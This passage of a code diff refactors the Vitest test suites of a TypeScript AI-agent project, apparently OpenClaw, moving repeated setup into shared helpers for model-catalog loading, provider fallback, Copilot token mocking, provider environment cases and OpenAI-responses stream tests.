} as never,
});
const resolved = await resolveBedrockProvider();
expect(resolved.mode).toBe("aws-sdk");
expect(resolved.apiKey).toBeUndefined();
expect(resolved.source).toContain("AWS_PROFILE");
} finally {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
restoreBedrockEnv(previous);
}
});

View File

@@ -1,48 +1,16 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { loadModelCatalog } from "./model-catalog.js";
import {
__setModelCatalogImportForTest,
loadModelCatalog,
resetModelCatalogCacheForTest,
} from "./model-catalog.js";
type PiSdkModule = typeof import("./pi-model-discovery.js");
vi.mock("./models-config.js", () => ({
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
}));
vi.mock("./agent-paths.js", () => ({
resolveOpenClawAgentDir: () => "/tmp/openclaw",
}));
installModelCatalogTestHooks,
mockCatalogImportFailThenRecover,
} from "./model-catalog.test-harness.js";
describe("loadModelCatalog e2e smoke", () => {
beforeEach(() => {
resetModelCatalogCacheForTest();
});
afterEach(() => {
__setModelCatalogImportForTest();
resetModelCatalogCacheForTest();
vi.restoreAllMocks();
});
installModelCatalogTestHooks();
it("recovers after an import failure on the next load", async () => {
let call = 0;
__setModelCatalogImportForTest(async () => {
call += 1;
if (call === 1) {
throw new Error("boom");
}
return {
AuthStorage: class {},
ModelRegistry: class {
getAll() {
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
}
},
} as unknown as PiSdkModule;
});
mockCatalogImportFailThenRecover();
const cfg = {} as OpenClawConfig;
expect(await loadModelCatalog({ config: cfg })).toEqual([]);

View File

@@ -0,0 +1,43 @@
import { afterEach, beforeEach, vi } from "vitest";
import { __setModelCatalogImportForTest, resetModelCatalogCacheForTest } from "./model-catalog.js";
export type PiSdkModule = typeof import("./pi-model-discovery.js");
vi.mock("./models-config.js", () => ({
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
}));
vi.mock("./agent-paths.js", () => ({
resolveOpenClawAgentDir: () => "/tmp/openclaw",
}));
export function installModelCatalogTestHooks() {
beforeEach(() => {
resetModelCatalogCacheForTest();
});
afterEach(() => {
__setModelCatalogImportForTest();
resetModelCatalogCacheForTest();
vi.restoreAllMocks();
});
}
export function mockCatalogImportFailThenRecover() {
let call = 0;
__setModelCatalogImportForTest(async () => {
call += 1;
if (call === 1) {
throw new Error("boom");
}
return {
AuthStorage: class {},
ModelRegistry: class {
getAll() {
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
}
},
} as unknown as PiSdkModule;
});
return () => call;
}

View File

@@ -1,50 +1,18 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { __setModelCatalogImportForTest, loadModelCatalog } from "./model-catalog.js";
import {
__setModelCatalogImportForTest,
loadModelCatalog,
resetModelCatalogCacheForTest,
} from "./model-catalog.js";
type PiSdkModule = typeof import("./pi-model-discovery.js");
vi.mock("./models-config.js", () => ({
ensureOpenClawModelsJson: vi.fn().mockResolvedValue({ agentDir: "/tmp", wrote: false }),
}));
vi.mock("./agent-paths.js", () => ({
resolveOpenClawAgentDir: () => "/tmp/openclaw",
}));
installModelCatalogTestHooks,
mockCatalogImportFailThenRecover,
type PiSdkModule,
} from "./model-catalog.test-harness.js";
describe("loadModelCatalog", () => {
beforeEach(() => {
resetModelCatalogCacheForTest();
});
afterEach(() => {
__setModelCatalogImportForTest();
resetModelCatalogCacheForTest();
vi.restoreAllMocks();
});
installModelCatalogTestHooks();
it("retries after import failure without poisoning the cache", async () => {
const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
let call = 0;
__setModelCatalogImportForTest(async () => {
call += 1;
if (call === 1) {
throw new Error("boom");
}
return {
AuthStorage: class {},
ModelRegistry: class {
getAll() {
return [{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }];
}
},
} as unknown as PiSdkModule;
});
const getCallCount = mockCatalogImportFailThenRecover();
const cfg = {} as OpenClawConfig;
const first = await loadModelCatalog({ config: cfg });
@@ -52,7 +20,7 @@ describe("loadModelCatalog", () => {
const second = await loadModelCatalog({ config: cfg });
expect(second).toEqual([{ id: "gpt-4.1", name: "GPT-4.1", provider: "openai" }]);
expect(call).toBe(2);
expect(getCallCount()).toBe(2);
expect(warnSpy).toHaveBeenCalledTimes(1);
});

View File

@@ -23,6 +23,27 @@ function makeCfg(overrides: Partial<OpenClawConfig> = {}): OpenClawConfig {
} as OpenClawConfig;
}
async function expectFallsBackToHaiku(params: {
provider: string;
model: string;
firstError: Error;
}) {
const cfg = makeCfg();
const run = vi.fn().mockRejectedValueOnce(params.firstError).mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
provider: params.provider,
model: params.model,
run,
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
}
describe("runWithModelFallback", () => {
it("normalizes openai gpt-5.3 codex to openai-codex before running", async () => {
const cfg = makeCfg();
@@ -56,111 +77,47 @@ describe("runWithModelFallback", () => {
});
it("falls back on auth errors", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(Object.assign(new Error("nope"), { status: 401 }))
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: Object.assign(new Error("nope"), { status: 401 }),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on transient HTTP 5xx errors", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(
new Error(
"521 <!DOCTYPE html><html><head><title>Web server is down</title></head><body>Cloudflare</body></html>",
),
)
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: new Error(
"521 <!DOCTYPE html><html><head><title>Web server is down</title></head><body>Cloudflare</body></html>",
),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on 402 payment required", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(Object.assign(new Error("payment required"), { status: 402 }))
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: Object.assign(new Error("payment required"), { status: 402 }),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on billing errors", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(
new Error(
"LLM request rejected: Your credit balance is too low to access the Anthropic API. Please go to Plans & Billing to upgrade or purchase credits.",
),
)
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: new Error(
"LLM request rejected: Your credit balance is too low to access the Anthropic API. Please go to Plans & Billing to upgrade or purchase credits.",
),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on credential validation errors", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(new Error('No credentials found for profile "anthropic:default".'))
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "anthropic",
model: "claude-opus-4",
run,
firstError: new Error('No credentials found for profile "anthropic:default".'),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("skips providers when all profiles are in cooldown", async () => {
@@ -408,130 +365,55 @@ describe("runWithModelFallback", () => {
});
it("falls back on missing API key errors", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(new Error("No API key found for profile openai."))
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: new Error("No API key found for profile openai."),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on lowercase credential errors", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(new Error("no api key found for profile openai"))
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: new Error("no api key found for profile openai"),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on timeout abort errors", async () => {
const cfg = makeCfg();
const timeoutCause = Object.assign(new Error("request timed out"), { name: "TimeoutError" });
const run = vi
.fn()
.mockRejectedValueOnce(
Object.assign(new Error("aborted"), { name: "AbortError", cause: timeoutCause }),
)
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: Object.assign(new Error("aborted"), { name: "AbortError", cause: timeoutCause }),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on abort errors with timeout reasons", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(
Object.assign(new Error("aborted"), { name: "AbortError", reason: "deadline exceeded" }),
)
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: Object.assign(new Error("aborted"), {
name: "AbortError",
reason: "deadline exceeded",
}),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back when message says aborted but error is a timeout", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(Object.assign(new Error("request aborted"), { code: "ETIMEDOUT" }))
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: Object.assign(new Error("request aborted"), { code: "ETIMEDOUT" }),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("falls back on provider abort errors with request-aborted messages", async () => {
const cfg = makeCfg();
const run = vi
.fn()
.mockRejectedValueOnce(
Object.assign(new Error("Request was aborted"), { name: "AbortError" }),
)
.mockResolvedValueOnce("ok");
const result = await runWithModelFallback({
cfg,
await expectFallsBackToHaiku({
provider: "openai",
model: "gpt-4.1-mini",
run,
firstError: Object.assign(new Error("Request was aborted"), { name: "AbortError" }),
});
expect(result.result).toBe("ok");
expect(run).toHaveBeenCalledTimes(2);
expect(run.mock.calls[1]?.[0]).toBe("anthropic");
expect(run.mock.calls[1]?.[1]).toBe("claude-haiku-3-5");
});
it("does not fall back on user aborts", async () => {

View File

@@ -335,6 +335,32 @@ function ensureImageInput(model: OpenAIModel): OpenAIModel {
};
}
function buildOpenRouterScanResult(params: {
entry: OpenRouterModelMeta;
isFree: boolean;
tool: ProbeResult;
image: ProbeResult;
}): ModelScanResult {
const { entry, isFree } = params;
return {
id: entry.id,
name: entry.name,
provider: "openrouter",
modelRef: `openrouter/${entry.id}`,
contextLength: entry.contextLength,
maxCompletionTokens: entry.maxCompletionTokens,
supportedParametersCount: entry.supportedParametersCount,
supportsToolsMeta: entry.supportsToolsMeta,
modality: entry.modality,
inferredParamB: entry.inferredParamB,
createdAtMs: entry.createdAtMs,
pricing: entry.pricing,
isFree,
tool: params.tool,
image: params.image,
};
}
async function mapWithConcurrency<T, R>(
items: T[],
concurrency: number,
@@ -427,23 +453,12 @@ export async function scanOpenRouterModels(
async (entry) => {
const isFree = isFreeOpenRouterModel(entry);
if (!probe) {
return {
id: entry.id,
name: entry.name,
provider: "openrouter",
modelRef: `openrouter/${entry.id}`,
contextLength: entry.contextLength,
maxCompletionTokens: entry.maxCompletionTokens,
supportedParametersCount: entry.supportedParametersCount,
supportsToolsMeta: entry.supportsToolsMeta,
modality: entry.modality,
inferredParamB: entry.inferredParamB,
createdAtMs: entry.createdAtMs,
pricing: entry.pricing,
return buildOpenRouterScanResult({
entry,
isFree,
tool: { ok: false, latencyMs: null, skipped: true },
image: { ok: false, latencyMs: null, skipped: true },
} satisfies ModelScanResult;
});
}
const model: OpenAIModel = {
@@ -461,23 +476,12 @@ export async function scanOpenRouterModels(
? await probeImage(ensureImageInput(model), apiKey, timeoutMs)
: { ok: false, latencyMs: null, skipped: true };
return {
id: entry.id,
name: entry.name,
provider: "openrouter",
modelRef: `openrouter/${entry.id}`,
contextLength: entry.contextLength,
maxCompletionTokens: entry.maxCompletionTokens,
supportedParametersCount: entry.supportedParametersCount,
supportsToolsMeta: entry.supportsToolsMeta,
modality: entry.modality,
inferredParamB: entry.inferredParamB,
createdAtMs: entry.createdAtMs,
pricing: entry.pricing,
return buildOpenRouterScanResult({
entry,
isFree,
tool: toolResult,
image: imageResult,
} satisfies ModelScanResult;
});
},
{
onProgress: (completed, total) =>

View File

@@ -1,4 +1,4 @@
import { afterEach, beforeEach } from "vitest";
import { afterEach, beforeEach, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js";
@@ -48,6 +48,28 @@ export function unsetEnv(vars: string[]) {
}
}
export const COPILOT_TOKEN_ENV_VARS = ["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"];
export async function withUnsetCopilotTokenEnv<T>(fn: () => Promise<T>): Promise<T> {
return withTempEnv(COPILOT_TOKEN_ENV_VARS, async () => {
unsetEnv(COPILOT_TOKEN_ENV_VARS);
return fn();
});
}
export function mockCopilotTokenExchangeSuccess() {
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({
token: "copilot-token;proxy-ep=proxy.copilot.example",
expires_at: Math.floor(Date.now() / 1000) + 3600,
}),
});
globalThis.fetch = fetchMock as unknown as typeof fetch;
return fetchMock;
}
export const MODELS_CONFIG_IMPLICIT_ENV_VARS = [
"CLOUDFLARE_AI_GATEWAY_API_KEY",
"COPILOT_GITHUB_TOKEN",

View File

@@ -5,6 +5,8 @@ import { DEFAULT_COPILOT_API_BASE_URL } from "../providers/github-copilot-token.
import { captureEnv } from "../test-utils/env.js";
import {
installModelsConfigTestHooks,
mockCopilotTokenExchangeSuccess,
withUnsetCopilotTokenEnv,
withModelsTempHome as withTempHome,
} from "./models-config.e2e-harness.js";
import { ensureOpenClawModelsJson } from "./models-config.js";
@@ -41,22 +43,8 @@ describe("models-config", () => {
it("uses agentDir override auth profiles for copilot injection", async () => {
await withTempHome(async (home) => {
const envSnapshot = captureEnv(["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]);
delete process.env.COPILOT_GITHUB_TOKEN;
delete process.env.GH_TOKEN;
delete process.env.GITHUB_TOKEN;
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({
token: "copilot-token;proxy-ep=proxy.copilot.example",
expires_at: Math.floor(Date.now() / 1000) + 3600,
}),
});
globalThis.fetch = fetchMock as unknown as typeof fetch;
try {
await withUnsetCopilotTokenEnv(async () => {
mockCopilotTokenExchangeSuccess();
const agentDir = path.join(home, "agent-override");
await fs.mkdir(agentDir, { recursive: true });
await fs.writeFile(
@@ -85,9 +73,7 @@ describe("models-config", () => {
};
expect(parsed.providers["github-copilot"]?.baseUrl).toBe("https://api.copilot.example");
} finally {
envSnapshot.restore();
}
});
});
});
});

View File

@@ -1,50 +1,14 @@
import fs from "node:fs/promises";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import { describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js";
async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
return withTempHomeBase(fn, { prefix: "openclaw-models-" });
}
const _MODELS_CONFIG: OpenClawConfig = {
models: {
providers: {
"custom-proxy": {
baseUrl: "http://localhost:4000/v1",
apiKey: "TEST_KEY",
api: "openai-completions",
models: [
{
id: "llama-3.1-8b",
name: "Llama 3.1 8B (Proxy)",
api: "openai-completions",
reasoning: false,
input: ["text"],
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
contextWindow: 128000,
maxTokens: 32000,
},
],
},
},
},
};
import { installModelsConfigTestHooks, withModelsTempHome } from "./models-config.e2e-harness.js";
describe("models-config", () => {
let previousHome: string | undefined;
beforeEach(() => {
previousHome = process.env.HOME;
});
afterEach(() => {
process.env.HOME = previousHome;
});
installModelsConfigTestHooks();
it("normalizes gemini 3 ids to preview for google providers", async () => {
await withTempHome(async () => {
await withModelsTempHome(async () => {
const { ensureOpenClawModelsJson } = await import("./models-config.js");
const { resolveOpenClawAgentDir } = await import("./agent-paths.js");

View File

@@ -14,6 +14,44 @@ import { ensureOpenClawModelsJson } from "./models-config.js";
installModelsConfigTestHooks();
type ProviderConfig = {
baseUrl?: string;
apiKey?: string;
models?: Array<{ id: string }>;
};
async function runEnvProviderCase(params: {
envVar: "MINIMAX_API_KEY" | "SYNTHETIC_API_KEY";
envValue: string;
providerKey: "minimax" | "synthetic";
expectedBaseUrl: string;
expectedApiKeyRef: string;
expectedModelIds: string[];
}) {
const previousValue = process.env[params.envVar];
process.env[params.envVar] = params.envValue;
try {
await ensureOpenClawModelsJson({});
const modelPath = path.join(resolveOpenClawAgentDir(), "models.json");
const raw = await fs.readFile(modelPath, "utf8");
const parsed = JSON.parse(raw) as { providers: Record<string, ProviderConfig> };
const provider = parsed.providers[params.providerKey];
expect(provider?.baseUrl).toBe(params.expectedBaseUrl);
expect(provider?.apiKey).toBe(params.expectedApiKeyRef);
const ids = provider?.models?.map((model) => model.id) ?? [];
for (const expectedId of params.expectedModelIds) {
expect(ids).toContain(expectedId);
}
} finally {
if (previousValue === undefined) {
delete process.env[params.envVar];
} else {
process.env[params.envVar] = previousValue;
}
}
}
describe("models-config", () => {
it("skips writing models.json when no env token or profile exists", async () => {
await withTempHome(async (home) => {
@@ -54,68 +92,27 @@ describe("models-config", () => {
it("adds minimax provider when MINIMAX_API_KEY is set", async () => {
await withTempHome(async () => {
const prevKey = process.env.MINIMAX_API_KEY;
process.env.MINIMAX_API_KEY = "sk-minimax-test";
try {
await ensureOpenClawModelsJson({});
const modelPath = path.join(resolveOpenClawAgentDir(), "models.json");
const raw = await fs.readFile(modelPath, "utf8");
const parsed = JSON.parse(raw) as {
providers: Record<
string,
{
baseUrl?: string;
apiKey?: string;
models?: Array<{ id: string }>;
}
>;
};
expect(parsed.providers.minimax?.baseUrl).toBe("https://api.minimax.io/anthropic");
expect(parsed.providers.minimax?.apiKey).toBe("MINIMAX_API_KEY");
const ids = parsed.providers.minimax?.models?.map((model) => model.id);
expect(ids).toContain("MiniMax-M2.1");
expect(ids).toContain("MiniMax-VL-01");
} finally {
if (prevKey === undefined) {
delete process.env.MINIMAX_API_KEY;
} else {
process.env.MINIMAX_API_KEY = prevKey;
}
}
await runEnvProviderCase({
envVar: "MINIMAX_API_KEY",
envValue: "sk-minimax-test",
providerKey: "minimax",
expectedBaseUrl: "https://api.minimax.io/anthropic",
expectedApiKeyRef: "MINIMAX_API_KEY",
expectedModelIds: ["MiniMax-M2.1", "MiniMax-VL-01"],
});
});
});
it("adds synthetic provider when SYNTHETIC_API_KEY is set", async () => {
await withTempHome(async () => {
const prevKey = process.env.SYNTHETIC_API_KEY;
process.env.SYNTHETIC_API_KEY = "sk-synthetic-test";
try {
await ensureOpenClawModelsJson({});
const modelPath = path.join(resolveOpenClawAgentDir(), "models.json");
const raw = await fs.readFile(modelPath, "utf8");
const parsed = JSON.parse(raw) as {
providers: Record<
string,
{
baseUrl?: string;
apiKey?: string;
models?: Array<{ id: string }>;
}
>;
};
expect(parsed.providers.synthetic?.baseUrl).toBe("https://api.synthetic.new/anthropic");
expect(parsed.providers.synthetic?.apiKey).toBe("SYNTHETIC_API_KEY");
const ids = parsed.providers.synthetic?.models?.map((model) => model.id);
expect(ids).toContain("hf:MiniMaxAI/MiniMax-M2.1");
} finally {
if (prevKey === undefined) {
delete process.env.SYNTHETIC_API_KEY;
} else {
process.env.SYNTHETIC_API_KEY = prevKey;
}
}
await runEnvProviderCase({
envVar: "SYNTHETIC_API_KEY",
envValue: "sk-synthetic-test",
providerKey: "synthetic",
expectedBaseUrl: "https://api.synthetic.new/anthropic",
expectedApiKeyRef: "SYNTHETIC_API_KEY",
expectedModelIds: ["hf:MiniMaxAI/MiniMax-M2.1"],
});
});
});
});

View File

@@ -5,6 +5,8 @@ import { captureEnv } from "../test-utils/env.js";
import { resolveOpenClawAgentDir } from "./agent-paths.js";
import {
installModelsConfigTestHooks,
mockCopilotTokenExchangeSuccess,
withUnsetCopilotTokenEnv,
withModelsTempHome as withTempHome,
} from "./models-config.e2e-harness.js";
import { ensureOpenClawModelsJson } from "./models-config.js";
@@ -14,22 +16,8 @@ installModelsConfigTestHooks({ restoreFetch: true });
describe("models-config", () => {
it("uses the first github-copilot profile when env tokens are missing", async () => {
await withTempHome(async (home) => {
const envSnapshot = captureEnv(["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"]);
delete process.env.COPILOT_GITHUB_TOKEN;
delete process.env.GH_TOKEN;
delete process.env.GITHUB_TOKEN;
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({
token: "copilot-token;proxy-ep=proxy.copilot.example",
expires_at: Math.floor(Date.now() / 1000) + 3600,
}),
});
globalThis.fetch = fetchMock as unknown as typeof fetch;
try {
await withUnsetCopilotTokenEnv(async () => {
const fetchMock = mockCopilotTokenExchangeSuccess();
const agentDir = path.join(home, "agent-profiles");
await fs.mkdir(agentDir, { recursive: true });
await fs.writeFile(
@@ -59,9 +47,7 @@ describe("models-config", () => {
const [, opts] = fetchMock.mock.calls[0] as [string, { headers?: Record<string, string> }];
expect(opts?.headers?.Authorization).toBe("Bearer alpha-token");
} finally {
envSnapshot.restore();
}
});
});
});

View File

@@ -21,7 +21,7 @@ const REQUIRE_PROFILE_KEYS = isTruthyEnvValue(process.env.OPENCLAW_LIVE_REQUIRE_
const describeLive = LIVE ? describe : describe.skip;
function parseProviderFilter(raw?: string): Set<string> | null {
function parseCsvFilter(raw?: string): Set<string> | null {
const trimmed = raw?.trim();
if (!trimmed || trimmed === "all") {
return null;
@@ -33,16 +33,12 @@ function parseProviderFilter(raw?: string): Set<string> | null {
return ids.length ? new Set(ids) : null;
}
function parseProviderFilter(raw?: string): Set<string> | null {
return parseCsvFilter(raw);
}
function parseModelFilter(raw?: string): Set<string> | null {
const trimmed = raw?.trim();
if (!trimmed || trimmed === "all") {
return null;
}
const ids = trimmed
.split(",")
.map((s) => s.trim())
.filter(Boolean);
return ids.length ? new Set(ids) : null;
return parseCsvFilter(raw);
}
function logProgress(message: string): void {

View File

@@ -18,13 +18,51 @@ function buildModel(): Model<"openai-responses"> {
};
}
function extractInputTypes(payload: Record<string, unknown> | undefined) {
const input = Array.isArray(payload?.input) ? payload.input : [];
return input
.map((item) =>
item && typeof item === "object" ? (item as Record<string, unknown>).type : undefined,
)
.filter((t): t is string => typeof t === "string");
}
async function runAbortedOpenAIResponsesStream(params: {
messages: Array<
AssistantMessage | ToolResultMessage | { role: "user"; content: string; timestamp: number }
>;
tools?: Array<{
name: string;
description: string;
parameters: ReturnType<typeof Type.Object>;
}>;
}) {
const controller = new AbortController();
controller.abort();
let payload: Record<string, unknown> | undefined;
const stream = streamOpenAIResponses(
buildModel(),
{
systemPrompt: "system",
messages: params.messages,
...(params.tools ? { tools: params.tools } : {}),
},
{
apiKey: "test",
signal: controller.signal,
onPayload: (nextPayload) => {
payload = nextPayload as Record<string, unknown>;
},
},
);
await stream.result();
return extractInputTypes(payload);
}
describe("openai-responses reasoning replay", () => {
it("replays reasoning for tool-call-only turns (OpenAI requires it)", async () => {
const model = buildModel();
const controller = new AbortController();
controller.abort();
let payload: Record<string, unknown> | undefined;
const assistantToolOnly: AssistantMessage = {
role: "assistant",
api: "openai-responses",
@@ -68,49 +106,29 @@ describe("openai-responses reasoning replay", () => {
timestamp: Date.now(),
};
const stream = streamOpenAIResponses(
model,
{
systemPrompt: "system",
messages: [
{
role: "user",
content: "Call noop.",
timestamp: Date.now(),
},
assistantToolOnly,
toolResult,
{
role: "user",
content: "Now reply with ok.",
timestamp: Date.now(),
},
],
tools: [
{
name: "noop",
description: "no-op",
parameters: Type.Object({}, { additionalProperties: false }),
},
],
},
{
apiKey: "test",
signal: controller.signal,
onPayload: (nextPayload) => {
payload = nextPayload as Record<string, unknown>;
const types = await runAbortedOpenAIResponsesStream({
messages: [
{
role: "user",
content: "Call noop.",
timestamp: Date.now(),
},
},
);
await stream.result();
const input = Array.isArray(payload?.input) ? payload?.input : [];
const types = input
.map((item) =>
item && typeof item === "object" ? (item as Record<string, unknown>).type : undefined,
)
.filter((t): t is string => typeof t === "string");
assistantToolOnly,
toolResult,
{
role: "user",
content: "Now reply with ok.",
timestamp: Date.now(),
},
],
tools: [
{
name: "noop",
description: "no-op",
parameters: Type.Object({}, { additionalProperties: false }),
},
],
});
expect(types).toContain("reasoning");
expect(types).toContain("function_call");
@@ -127,11 +145,6 @@ describe("openai-responses reasoning replay", () => {
});
it("still replays reasoning when paired with an assistant message", async () => {
const model = buildModel();
const controller = new AbortController();
controller.abort();
let payload: Record<string, unknown> | undefined;
const assistantWithText: AssistantMessage = {
role: "assistant",
api: "openai-responses",
@@ -161,33 +174,13 @@ describe("openai-responses reasoning replay", () => {
],
};
const stream = streamOpenAIResponses(
model,
{
systemPrompt: "system",
messages: [
{ role: "user", content: "Hi", timestamp: Date.now() },
assistantWithText,
{ role: "user", content: "Ok", timestamp: Date.now() },
],
},
{
apiKey: "test",
signal: controller.signal,
onPayload: (nextPayload) => {
payload = nextPayload as Record<string, unknown>;
},
},
);
await stream.result();
const input = Array.isArray(payload?.input) ? payload?.input : [];
const types = input
.map((item) =>
item && typeof item === "object" ? (item as Record<string, unknown>).type : undefined,
)
.filter((t): t is string => typeof t === "string");
const types = await runAbortedOpenAIResponsesStream({
messages: [
{ role: "user", content: "Hi", timestamp: Date.now() },
assistantWithText,
{ role: "user", content: "Ok", timestamp: Date.now() },
],
});
expect(types).toContain("reasoning");
expect(types).toContain("message");

View File

@@ -20,15 +20,42 @@ vi.mock("../config/config.js", async (importOriginal) => {
import "./test-helpers/fast-core-tools.js";
import { createOpenClawTools } from "./openclaw-tools.js";
function getSessionsHistoryTool(options?: { sandboxed?: boolean }) {
const tool = createOpenClawTools({
agentSessionKey: "main",
sandboxed: options?.sandboxed,
}).find((candidate) => candidate.name === "sessions_history");
expect(tool).toBeDefined();
if (!tool) {
throw new Error("missing sessions_history tool");
}
return tool;
}
function mockGatewayWithHistory(
extra?: (req: { method?: string; params?: Record<string, unknown> }) => unknown,
) {
callGatewayMock.mockReset();
callGatewayMock.mockImplementation(async (opts: unknown) => {
const req = opts as { method?: string; params?: Record<string, unknown> };
const handled = extra?.(req);
if (handled !== undefined) {
return handled;
}
if (req.method === "chat.history") {
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
}
return {};
});
}
describe("sessions tools visibility", () => {
it("defaults to tree visibility (self + spawned) for sessions_history", async () => {
mockConfig = {
session: { mainKey: "main", scope: "per-sender" },
tools: { agentToAgent: { enabled: false } },
};
callGatewayMock.mockReset();
callGatewayMock.mockImplementation(async (opts: unknown) => {
const req = opts as { method?: string; params?: Record<string, unknown> };
mockGatewayWithHistory((req) => {
if (req.method === "sessions.list" && req.params?.spawnedBy === "main") {
return { sessions: [{ key: "subagent:child-1" }] };
}
